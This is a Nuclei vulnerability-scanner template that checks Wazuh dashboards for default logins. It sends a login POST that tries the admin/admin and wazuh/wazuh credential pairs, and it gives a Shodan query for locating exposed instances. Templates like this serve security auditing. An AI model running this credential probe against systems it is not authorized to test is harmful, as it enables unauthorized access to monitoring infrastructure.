nuclei-templates/http/default-logins/wazuh-default-login.yaml

69 lines
1.7 KiB
YAML

id: wazuh-default-login
info:
name: Wazuh - Default Login
author: theamanrawat
severity: high
description: |
Wazuh contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://documentation.wazuh.com/current/user-manual/user-administration/password-management.html
- https://wazuh.com
metadata:
verified: true
max-request: 4
shodan-query: title:"Wazuh"
tags: wazuh,default-login
http:
- raw:
- |
GET /app/login?nextUrl=%2Fapp%2Fwazuh HTTP/1.1
Host: {{Hostname}}
- |
POST /auth/login HTTP/1.1
Host: {{Hostname}}
Osd-Version: {{osd}}
Content-Type: application/json
{"username":"{{username}}","password":"{{password}}"}
attack: pitchfork
payloads:
username:
- "admin"
- "wazuh"
password:
- "admin"
- "wazuh"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"username":'
- '"roles":'
condition: and
- type: word
part: header
words:
- 'application/json'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: osd
group: 1
regex:
- '"version":"([0-9.]+)"'
internal: true
# digest: 4b0a00483046022100de2c876067d0aa43fb62771bff3c3adea76873a9f0982f98856a1ed321b58d48022100a60ef9271fd209ecadc68b365c82e4176cd78fe24526dcbe7a8cd8772b0337cf:922c64590222798bb761d5b6d8e72950